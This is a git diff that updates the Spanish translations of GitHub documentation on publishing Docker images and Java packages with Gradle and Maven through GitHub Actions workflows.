-- "[Working with the Docker registry](/packages/working-with-a-github-packages-registry/working-with-the-docker-registry)"{% endif %}
+- "[Secretos cifrados](/actions/reference/encrypted-secrets)"
+- "[Autenticación en un flujo de trabajo](/actions/reference/authentication-in-a-workflow)"{% ifversion fpt or ghec %}
+- "[Trabajar con el {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)"{% else %}
+- "[Trabajar con el registro de Docker](/packages/working-with-a-github-packages-registry/working-with-the-docker-registry)"{% endif %}
 
-## About image configuration
+## Acerca de la configuración de imágenes
 
-This guide assumes that you have a complete definition for a Docker image stored in a {% data variables.product.prodname_dotcom %} repository. For example, your repository must contain a _Dockerfile_, and any other files needed to perform a Docker build to create an image.
+Esta guía asume que tienes una definición completa de una imagen de Docker almacenada en un repositorio de {% data variables.product.prodname_dotcom %}. Por ejemplo, tu repositorio debe contener un _Dockerfile_, y cualquier otro archivo que se necesite para realizar una compilación de Docker para crear una imagen.
 
-In this guide, we will use the Docker `build-push-action` action to build the Docker image and push it to one or more Docker registries. For more information, see [`build-push-action`](https://github.com/marketplace/actions/build-and-push-docker-images).
+En esta guía, utilizaremos la acción `build-push-action` de Docker para compilar la imagen de Docker y cargarla a uno o más registros de Docker. Para obtener más información, consulta la sección [`build-push-action`](https://github.com/marketplace/actions/build-and-push-docker-images).
 
 {% data reusables.actions.enterprise-marketplace-actions %}
 
-## Publishing images to Docker Hub
+## Publicar imágenes en Docker Hub
 
 {% data reusables.github-actions.release-trigger-workflow %}
 
-In the example workflow below, we use the Docker `login-action` and `build-push-action` actions to build the Docker image and, if the build succeeds, push the built image to Docker Hub.
+En el flujo de trabajo de ejemplo a continuación, utilizamos las acciones `login-action` y `build-push-action` para crear la imagen de Docker y, si la compilación es exitosa, subimos la imagen compilada a Docker Hub.
 
-To push to Docker Hub, you will need to have a Docker Hub account, and have a Docker Hub repository created. For more information, see "[Pushing a Docker container image to Docker Hub](https://docs.docker.com/docker-hub/repos/#pushing-a-docker-container-image-to-docker-hub)" in the Docker documentation.
+Para hacer una carga en Docker hub, necesitarás tener una cuenta de Docker Hub y haber creado un repositorio ahí mismo. Para obtener más información, consulta la sección "[Publicar una imagen de contenedor de Docker en Docker Hub](https://docs.docker.com/docker-hub/repos/#pushing-a-docker-container-image-to-docker-hub)" en la documentación de Docker.
 
-The `login-action` options required for Docker Hub are:
-* `username` and `password`: This is your Docker Hub username and password. We recommend storing your Docker Hub username and password as secrets so they aren't exposed in your workflow file. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+Las opciones de `login-action` que se requieren para Docker hub son:
+* `username` y `password`: Este es tu nombre de usuario y contraseña de Docker Hub. Te recomendamos almacenar tu nombre de usuario y contraseña de Docker Hub como un secreto para que no se expongan en tu archivo de flujo de trabajo. Para más información, consulta "[Crear y usar secretos cifrados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
 
-The `metadata-action` option required for Docker Hub is:
-* `images`: The namespace and name for the Docker image you are building/pushing to Docker Hub.
+La opción `metadata-action` que se requiere para Docker hub es:
+* `images`: El designador de nombre para la imagen de Docker que estás compilando/subiendo a Docker Hub.
 
-The `build-push-action` options required for Docker Hub are:
-* `tags`: The tag of your new image in the format `DOCKER-HUB-NAMESPACE/DOCKER-HUB-REPOSITORY:VERSION`. You can set a single tag as shown below, or specify multiple tags in a list.
-* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully.
+Las opciones de `build-push-action` que se requieren para Docker Hub son:
+* `tags`: La etiqueta de tu nueva imagen en el formato `DOCKER-HUB-NAMESPACE/DOCKER-HUB-REPOSITORY:VERSION`. Puedes configurar una etiqueta sencilla como se muestra a continuación o especificar etiquetas múltiples en una lista.
+* `push`: Si se configura como `true`, se subirá la imagen al registro si se compila con éxito.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -82,19 +82,19 @@ jobs:
     steps:
       - name: Check out the repo
         uses: actions/checkout@v2
-      
+
       - name: Log in to Docker Hub
         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %}
           password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %}
-      
+
       - name: Extract metadata (tags, labels) for Docker
         id: meta
         uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38
         with:
           images: my-docker-hub-namespace/my-docker-hub-repository
-      
+
       - name: Build and push Docker image
         uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
         with:
@@ -104,34 +104,34 @@ jobs:
           labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %}
 ```
 
-The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to Docker Hub, and apply a tag to the image.
+El flujo de trabajo anterior verifica el repositorio de {% data variables.product.prodname_dotcom %}, utiliza la `login-action` para iniciar sesión en el registro y luego utiliza la acción `build-push-action` para: crear una imagen de Docker con base en el `Dockerfile` de tu repositorio; subir la imagen a Docker Hub y aplicar una etiqueta a la imagen.
 
-## Publishing images to {% data variables.product.prodname_registry %}
+## Publicar imágenes en {% data variables.product.prodname_registry %}
 
 {% data reusables.github-actions.release-trigger-workflow %}
 
-In the example workflow below, we use the Docker `login-action`{% ifversion fpt or ghec %}, `metadata-action`,{% endif %} and `build-push-action` actions to build the Docker image, and if the build succeeds, push the built image to {% data variables.product.prodname_registry %}.
+En el siguiente ejemplo de flujo de trabajo, utilizamos las acciones `login-action` {% ifversion fpt or ghec %}, `metadata-action`,{% endif %} y `build-push-action` de Docker para crear la imagen de Docker y, si la compilación tiene éxito, sube la imagen cargada al {% data variables.product.prodname_registry %}.
 
-The `login-action` options required for {% data variables.product.prodname_registry %} are:
-* `registry`: Must be set to {% ifversion fpt or ghec %}`ghcr.io`{% else %}`docker.pkg.github.com`{% endif %}.
-* `username`: You can use the {% raw %}`${{ github.actor }}`{% endraw %} context to automatically use the username of the user that triggered the workflow run. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)."
-* `password`: You can use the automatically-generated `GITHUB_TOKEN` secret for the password. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)."
+Las opciones de `login-action` que se requieren para el {% data variables.product.prodname_registry %} son:
+* `registry`: Debe configurarse en {% ifversion fpt or ghec %}`ghcr.io`{% else %}`docker.pkg.github.com`{% endif %}.
+* `username`: Puedes utilizar el contexto {% raw %}`${{ github.actor }}`{% endraw %} para utilizar automáticamente el nombre de usuario del usuario que desencadenó la ejecución del flujo de trabajo. Para obtener más información, consulta "[Contextos](/actions/learn-github-actions/contexts#github-context)".
+* `password`: Puedes utilizar el secreto generado automáticamente `GITHUB_TOKEN` para la contraseña. Para más información, consulta "[Autenticando con el GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)."
 
 {% ifversion fpt or ghec %}
-The `metadata-action` option required for {% data variables.product.prodname_registry %} is:
-* `images`: The namespace and name for the Docker image you are building.
+La opción de `metadata-action` que se requiere para el {% data variables.product.prodname_registry %} es:
+* `images`: El designador de nombre de la imagen de Docker que estás compilando.
 {% endif %}
 
-The `build-push-action` options required for {% data variables.product.prodname_registry %} are:{% ifversion fpt or ghec %}
-* `context`: Defines the build's context as the set of files located in the specified path.{% endif %}
-* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully.{% ifversion fpt or ghec %}
-* `tags` and `labels`: These are populated by output from `metadata-action`.{% else %}
-* `tags`: Must be set in the format `docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION`. For example, for an image named `octo-image` stored on {% data variables.product.prodname_dotcom %} at `http://github.com/octo-org/octo-repo`, the `tags` option should be set to `docker.pkg.github.com/octo-org/octo-repo/octo-image:latest`. You can set a single tag as shown below, or specify multiple tags in a list.{% endif %}
+Las opciones de `build-push-action` que se requieren para {% data variables.product.prodname_registry %} son:{% ifversion fpt or ghec %}
+* `context`: Define el contexto de la compilación como el conjunto de archivos que se ubican en la ruta especificada.{% endif %}
+* `push`: Si se configura en `true`, la imagen se cargará al registro si se compila con éxito.{% ifversion fpt or ghec %}
+* `tags` y `labels`: Estos se llenan con la salida de la `metadata-action`.{% else %}
+* `tags`: Debe configurarse en el formato `docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION`. Por ejemplo, para una imagen que se llame `octo-image` y esté almacenada en {% data variables.product.prodname_dotcom %} en la ruta `http://github.com/octo-org/octo-repo`, la opción `tags` debe configurarse como `docker.pkg.github.com/octo-org/octo-repo/octo-image:latest`. Puedes configurar una tarjeta sencilla como se muestra a continuación o especificar etiquetas múltiples en una lista.{% endif %}
 
 {% ifversion fpt or ghec %}
 {% data reusables.package_registry.publish-docker-image %}
 
-The above workflow if triggered by a push to the "release" branch. It checks out the GitHub repository, and uses the `login-action` to log in to the {% data variables.product.prodname_container_registry %}. It then extracts labels and tags for the Docker image. Finally, it uses the `build-push-action` action to build the image and publish it on the {% data variables.product.prodname_container_registry %}.
+El flujo de trabajo anterior se activa mediante una subida a la rama de "lanzamiento". Verifica el repositorio de GitHub y utiliza la `login-action` para ingresar en el {% data variables.product.prodname_container_registry %}. Luego extrae las etiquetas y marcas de la imagen de Docker. Finalmente, utiliza la acción `build-push-action` para crear la imagen y publicarla en el {% data variables.product.prodname_container_registry %}.
 
 {% else %}
 ```yaml{:copy}
@@ -152,14 +152,14 @@ jobs:
     steps:
       - name: Check out the repo
         uses: actions/checkout@v2
-      
+
       - name: Log in to GitHub Docker Registry
         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           registry: {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}
           username: {% raw %}${{ github.actor }}{% endraw %}
           password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
-      
+
       - name: Build and push Docker image
         uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
         with:
@@ -170,14 +170,14 @@ jobs:
             {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}{% raw %}/${{ github.repository }}/octo-image:${{ github.event.release.tag_name }}{% endraw %}
 ```
 
-The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to the Docker registry, and apply the commit SHA and release version as image tags.
+El flujo de trabajo anterior verifica el repositorio {% data variables.product.prodname_dotcom %}, utiliza la `login-action` para ingresar en el registro y luego utiliza la acción `build-push-action` para: crear una imagen de Docker con base en el `Dockerfile` de tu repositorio; subir la imagen al registro de Docker y aplicar el SHA de confirmación y versión de lanzamiento como etiquetas de la imagen.
 {% endif %}
 
-## Publishing images to Docker Hub and {% data variables.product.prodname_registry %}
+## Publicar imágenes en Docker Hub y en {% data variables.product.prodname_registry %}
 
-In a single workflow, you can publish your Docker image to multiple registries by using the `login-action` and `build-push-action` actions for each registry.
+En un flujo de trabajo sencillo, puedes publicar tu imagen de Docker en registros múltiples si utilizas las acciones `login-action` y `build-push-action` para cada registro.
 
-The following example workflow uses the steps from the previous sections ("[Publishing images to Docker Hub](#publishing-images-to-docker-hub)" and "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)") to create a single workflow that pushes to both registries.
+El siguiente flujo de trabajo de ejemplo utiliza los pasos de las secciones anteriores ("[Publicar imágenes en Docker Hub](#publishing-images-to-docker-hub)" y "[Publicar imágenes en el {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)") para crear un solo flujo de trabajo que cargue ambos registros.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -198,20 +198,20 @@ jobs:
     steps:
       - name: Check out the repo
         uses: actions/checkout@v2
-      
+
       - name: Log in to Docker Hub
         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %}
           password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %}
-      
+
       - name: Log in to the {% ifversion fpt or ghec %}Container{% else %}Docker{% endif %} registry
         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           registry: {% ifversion fpt or ghec %}ghcr.io{% elsif ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}
           username: {% raw %}${{ github.actor }}{% endraw %}
           password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
-      
+
       - name: Extract metadata (tags, labels) for Docker
         id: meta
         uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38
@@ -219,7 +219,7 @@ jobs:
           images: |
             my-docker-hub-namespace/my-docker-hub-repository
             {% ifversion fpt or ghec %}ghcr.io/{% raw %}${{ github.repository }}{% endraw %}{% elsif ghae %}{% raw %}docker.YOUR-HOSTNAME.com/${{ github.repository }}/my-image{% endraw %}{% else %}{% raw %}docker.pkg.github.com/${{ github.repository }}/my-image{% endraw %}{% endif %}
-      
+
       - name: Build and push Docker images
         uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
         with:
@@ -229,5 +229,4 @@ jobs:
           labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %}
 ```
 
-The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` twice to log in to both registries and generates tags and labels with the `metadata-action` action.
-Then the `build-push-action` action builds and pushes the Docker image to Docker Hub and the {% ifversion fpt or ghec %}{% data variables.product.prodname_container_registry %}{% else %}Docker registry{% endif %}.
+El flujo de trabajo anterior verifica el repositorio {% data variables.product.prodname_dotcom %}, utiliza `login-action` dos veces para iniciar sesión en ambos registros y genera etiquetas y marcadores con la acción `metadata-action`. Entonces, la acción `build-push-action` crea y sube la imagen de Docker a Docker Hub y al {% ifversion fpt or ghec %}{% data variables.product.prodname_container_registry %}{% else %}registro de Docker{% endif %}.
diff --git a/translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-gradle.md b/translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-gradle.md
index fa50c59fad..04e751576d 100644
--- a/translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-gradle.md
+++ b/translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-gradle.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing Java packages with Gradle
-intro: You can use Gradle to publish Java packages to a registry as part of your continuous integration (CI) workflow.
+title: Publicar paquetes Java con Gradle
+intro: Puedes usar Gradle para publicar paquetes Java en un registro como parte de tu flujo de trabajo de integración continua (CI).
 redirect_from:
   - /actions/language-and-framework-guides/publishing-java-packages-with-gradle
   - /actions/guides/publishing-java-packages-with-gradle
@@ -15,40 +15,40 @@ topics:
   - Publishing
   - Java
   - Gradle
-shortTitle: Java packages with Gradle
+shortTitle: Paquetes de Java con Gradle
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
 {% data reusables.github-actions.publishing-java-packages-intro %}
 
-## Prerequisites
+## Prerrequisitos
 
-We recommend that you have a basic understanding of workflow files and configuration options. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+Te recomendamos que tengas una comprensión básica de los archivos de flujo de trabajo y las opciones de configuración. Para obtener más información, consulta la sección "[Aprende sobre {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
 
-For more information about creating a CI workflow for your Java project with Gradle, see "[Building and testing Java with Gradle](/actions/language-and-framework-guides/building-and-testing-java-with-gradle)."
+Para obtener más información acerca de la creación de un flujo de trabajo de CI para tu proyecto Java con Gradle, consulta "[Construir y probar Java con Gradle](/actions/language-and-framework-guides/building-and-testing-java-with-gradle)".
 
-You may also find it helpful to have a basic understanding of the following:
+También puede ser útil tener un entendimiento básico de lo siguiente:
 
-- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
-- "[Environment variables](/actions/reference/environment-variables)"
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
-- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"
+- "[Trabajar con el registro de npm](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
+- "[Variables de ambiente](/actions/reference/environment-variables)"
+- "[Secretos cifrados](/actions/reference/encrypted-secrets)"
+- "[Autenticación en un flujo de trabajo](/actions/reference/authentication-in-a-workflow)"
 
-## About package configuration
+## Acerca de la configuración del paquete
 
-The `groupId` and `artifactId` fields in the `MavenPublication` section of the _build.gradle_ file create a unique identifier for your package that registries use to link your package to a registry.  This is similar to the `groupId` and `artifactId` fields of the Maven _pom.xml_ file.  For more information, see the "[Maven Publish Plugin](https://docs.gradle.org/current/userguide/publishing_maven.html)" in the Gradle documentation.
+Los campos `groupId` y `artifactId` en la sección `MavenPublication` del archivo _build.gradle_ crean un identificador único para tu paquete que los registros usan para vincular tu paquete a un registro.  Esto es similar a los campos `groupId` y `artifactId` del archivo _pom.xml_ de Maven.  Para obtener más información, consulta "[Maven Publish Plugin](https://docs.gradle.org/current/userguide/publishing_maven.html)" en la documentación de Gradle.
 
-The _build.gradle_ file also contains configuration for the distribution management repositories that Gradle will publish packages to. Each repository must have a name, a deployment URL, and credentials for authentication.
+El archivo _build.gradle_ también contiene la configuración de los repositorios de administración de distribución en los que Gradle publicará los paquetes. Cada repositorio debe tener un nombre, una URL de implementación y credenciales para la autenticación.
 
-## Publishing packages to the Maven Central Repository
+## Publicar paquetes en el repositorio central de Maven
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the Maven Central Repository if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+Cada vez que creas un lanzamiento nuevo, puedes desencadenar un flujo de trabajo para publicar tu paquete. El flujo de trabajo en el ejemplo a continuación se ejecuta cuando el evento `lanzamiento` desencadena con tipo `creado`. El flujo de trabajo publica el paquete en el repositorio central de Maven si se pasan las pruebas de CI. Para obtener más información acerca del evento `release`, consulta "[Eventos que activan flujos de trabajo](/actions/reference/events-that-trigger-workflows#release)".
 
-You can define a new Maven repository in the publishing block of your _build.gradle_ file that points to your package repository.  For example, if you were deploying to the Maven Central Repository through the OSSRH hosting project, your _build.gradle_ could specify a repository with the name `"OSSRH"`.
+Puedes definir un nuevo repositorio de Maven en el bloque de publicación de tu archivo _build.gradle_ que apunta al repositorio de tu paquete.  Por ejemplo, si estás desplegando en el repositorio central de Maven a través del proyecto de alojamiento OSSRH, tu _build.gradle_ podría especificar un repositorio con el nombre `"OSSRH"`.
 
 {% raw %}
 ```groovy{:copy}
@@ -74,7 +74,7 @@ publishing {
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to the Maven Central Repository by running the `gradle publish` command. In the deploy step, you’ll need to set environment variables for the username and password or token that you use to authenticate to the Maven repository. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+Con esta configuración, puedes crear un flujo de trabajo que publique tu paquete en el repositorio central de Maven al ejecutar el comando `gradle publish`. En el paso de implementación, necesitarás establecer variables de entorno para el nombre de usuario y la contraseña o token que usas para autenticar en el repositorio de Maven. Para obtener más información, consulta "[Crear y usar secretos cifrados](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -103,19 +103,19 @@ jobs:
 ```
 
 {% data reusables.github-actions.gradle-workflow-steps %}
-1. Runs the `gradle publish` command to publish to the `OSSRH` Maven repository. The `MAVEN_USERNAME` environment variable will be set with the contents of your `OSSRH_USERNAME` secret, and the `MAVEN_PASSWORD` environment variable will be set with the contents of your `OSSRH_TOKEN` secret.
+1. Ejecuta el comando `gradle publish` para publicar en el repositorio Maven `OSSRH`. La variable de entorno `MAVEN_USERNAME` se establecerá con los contenidos de tu `OSSRH_USERNAME` secreto, y la variable de entorno `MAVEN_PASSWORD` se establecerá con los contenidos de tu `OSSRH_TOKEN` secreto.
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   Para obtener más información acerca del uso de secretos en tu flujo de trabajo, consulta "[Crear y usar secretos cifrados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
-## Publishing packages to {% data variables.product.prodname_registry %}
+## Sube paquetes al {% data variables.product.prodname_registry %}
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+Cada vez que creas un lanzamiento nuevo, puedes desencadenar un flujo de trabajo para publicar tu paquete. El flujo de trabajo en el ejemplo a continuación se ejecuta cuando el evento `lanzamiento` desencadena con tipo `creado`. El flujo de trabajo publica el paquete en el {% data variables.product.prodname_registry %} si se superan las pruebas de CI. Para obtener más información acerca del evento `release`, consulta "[Eventos que activan flujos de trabajo](/actions/reference/events-that-trigger-workflows#release)".
 
-You can define a new Maven repository in the publishing block of your _build.gradle_ that points to {% data variables.product.prodname_registry %}.  In that repository configuration, you can also take advantage of environment variables set in your CI workflow run.  You can use the `GITHUB_ACTOR` environment variable as a username, and you can set the `GITHUB_TOKEN` environment variable with your `GITHUB_TOKEN` secret.
+Puedes definir un nuevo repositorio de Maven en el bloque de publicación de tu _build.gradle_ que apunte a {% data variables.product.prodname_registry %}.  En esa configuración de repositorio, también puedes aprovechar las variables de entorno establecidas en tu ejecución de flujo de trabajo de CI.  Puedes usar la variable de entorno `GITHUB_ACTOR` como nombre de usuario y puedes establecer la variable de entorno `GITHUB_TOKEN` con tu `GITHUB_TOKEN` secreto.
 
 {% data reusables.github-actions.github-token-permissions %}
 
-For example, if your organization is named "octocat" and your repository is named "hello-world", then the {% data variables.product.prodname_registry %} configuration in _build.gradle_ would look similar to the below example.
+Por ejemplo, si tu organización se llama "octocat" y tu repositorio se llama "hello-world", entonces la configuración {% data variables.product.prodname_registry %} en _build.gradle_ tendría un aspecto similar al ejemplo a continuación.
 
 {% raw %}
 ```groovy{:copy}
@@ -141,7 +141,7 @@ publishing {
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to {% data variables.product.prodname_registry %} by running the `gradle publish` command.
+Con esta configuración, puedes crear un flujo de trabajo que publique tu paquete en el {% data variables.product.prodname_registry %} ejecutando el comando `gradle publish`.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -171,19 +171,19 @@ jobs:
 ```
 
 {% data reusables.github-actions.gradle-workflow-steps %}
-1. Runs the `gradle publish` command to publish to {% data variables.product.prodname_registry %}. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %}
+1. Ejecuta el comando `gradle publish` comando para publicar en {% data variables.product.prodname_registry %}. La variable de entorno `GITHUB_TOKEN` se establecerá con el contenido del `GITHUB_TOKEN` secreto. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}La clave de `permissions` especifica el acceso que permitirá el secreto del `GITHUB_TOKEN`.{% endif %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   Para obtener más información acerca del uso de secretos en tu flujo de trabajo, consulta "[Crear y usar secretos cifrados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
-## Publishing packages to the Maven Central Repository and {% data variables.product.prodname_registry %}
+## Publicar paquetes en el repositorio central de Maven y {% data variables.product.prodname_registry %}
 
-You can publish your packages to both the Maven Central Repository and {% data variables.product.prodname_registry %} by configuring each in your _build.gradle_ file.
+Puedes publicar tus paquetes en el repositorio central de Maven y {% data variables.product.prodname_registry %} al configurar cada uno de ellos en tu archivo _build.gradle_.
 
-Ensure your _build.gradle_ file includes a repository for both your {% data variables.product.prodname_dotcom %} repository and your Maven Central Repository provider.
+Asegúrate de que tu archivo _build.gradle_ incluya un repositorio para tu repositorio {% data variables.product.prodname_dotcom %} y para tu proveedor de repositorios centrales de Maven.
 
-For example, if you deploy to the Central Repository through the OSSRH hosting project, you might want to specify it in a distribution management repository with the `name` set to `OSSRH`. If you deploy to {% data variables.product.prodname_registry %}, you might want to specify it in a distribution management repository with the `name` set to `GitHubPackages`.
+Por ejemplo, si implementas el repositorio central a través del proyecto de alojamiento OSSRH, es posible que desees especificarlo en un repositorio de administración de distribución con el `name` establecido en `OSSRH`. Si implementas para {% data variables.product.prodname_registry %}, es posible que desees especificarlo en un repositorio de administración de distribución con el `name` establecido en `GitHubPackages`.
 
-If your organization is named "octocat" and your repository is named "hello-world", then the configuration in _build.gradle_ would look similar to the below example.
+Si tu organización se nombra como "octocat" y tu repositorio como "hello-world", entonces la configuración en _build.gradle_ se vería similar al siguiente ejmplo.
 
 {% raw %}
 ```groovy{:copy}
@@ -217,7 +217,7 @@ publishing {
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to both the Maven Central Repository and {% data variables.product.prodname_registry %} by running the `gradle publish` command.
+Con esta configuración, puedes crear un flujo de trabajo que publique tu paquete en el repositorio central de Maven y {% data variables.product.prodname_registry %} al ejecutar el comando `gradle publish`.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -250,6 +250,6 @@ jobs:
 ```
 
 {% data reusables.github-actions.gradle-workflow-steps %}
-1. Runs the `gradle publish` command to publish to the `OSSRH` Maven repository and {% data variables.product.prodname_registry %}. The `MAVEN_USERNAME` environment variable will be set with the contents of your `OSSRH_USERNAME` secret, and the `MAVEN_PASSWORD` environment variable will be set with the contents of your `OSSRH_TOKEN` secret. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %}
+1. Ejecuta el comando `gradle publish` para publicar en el repositorio Maven `OSSRH` y {% data variables.product.prodname_registry %}. La variable de entorno `MAVEN_USERNAME` se establecerá con los contenidos de tu `OSSRH_USERNAME` secreto, y la variable de entorno `MAVEN_PASSWORD` se establecerá con los contenidos de tu `OSSRH_TOKEN` secreto. La variable de entorno `GITHUB_TOKEN` se establecerá con el contenido del `GITHUB_TOKEN` secreto. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}La clave de `permissions` especifica el acceso que permitirá el secreto del `GITHUB_TOKEN`.{% endif %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   Para obtener más información acerca del uso de secretos en tu flujo de trabajo, consulta "[Crear y usar secretos cifrados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
diff --git a/translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-maven.md b/translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-maven.md
index f87da4e86f..caadb02fdd 100644
--- a/translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-maven.md
+++ b/translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-maven.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing Java packages with Maven
-intro: You can use Maven to publish Java packages to a registry as part of your continuous integration (CI) workflow.
+title: Publicar paquetes Java con Maven
+intro: Puedes usar Maven para publicar paquetes Java en un registro como parte de tu flujo de trabajo de integración continua (CI).
 redirect_from:
   - /actions/language-and-framework-guides/publishing-java-packages-with-maven
   - /actions/guides/publishing-java-packages-with-maven
@@ -15,44 +15,44 @@ topics:
   - Publishing
   - Java
   - Maven
-shortTitle: Java packages with Maven
+shortTitle: Paquetes de Java con Maven
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
 {% data reusables.github-actions.publishing-java-packages-intro %}
 
-## Prerequisites
+## Prerrequisitos
 
-We recommend that you have a basic understanding of workflow files and configuration options. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+Te recomendamos que tengas una comprensión básica de los archivos de flujo de trabajo y las opciones de configuración. Para obtener más información, consulta la sección "[Aprende sobre {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
 
-For more information about creating a CI workflow for your Java project with Maven, see "[Building and testing Java with Maven](/actions/language-and-framework-guides/building-and-testing-java-with-maven)."
+Para obtener más información acerca de la creación de un flujo de trabajo de CI para tu proyecto Java con Maven, consulta "[Construir y probar Java con Maven](/actions/language-and-framework-guides/building-and-testing-java-with-maven)".
 
-You may also find it helpful to have a basic understanding of the following:
+También puede ser útil tener un entendimiento básico de lo siguiente:
 
-- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
-- "[Environment variables](/actions/reference/environment-variables)"
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
-- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"
+- "[Trabajar con el registro de npm](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
